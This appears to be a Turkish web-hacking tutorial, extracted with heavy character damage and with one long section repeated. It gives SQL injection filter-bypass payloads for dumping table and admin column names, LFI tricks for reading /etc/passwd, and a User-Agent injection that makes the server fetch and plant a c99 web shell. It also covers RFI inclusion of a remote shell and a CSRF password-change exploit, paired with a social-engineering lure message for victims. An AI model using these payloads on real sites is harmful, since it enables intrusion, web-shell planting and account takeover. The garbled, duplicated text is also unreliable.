wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 35: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

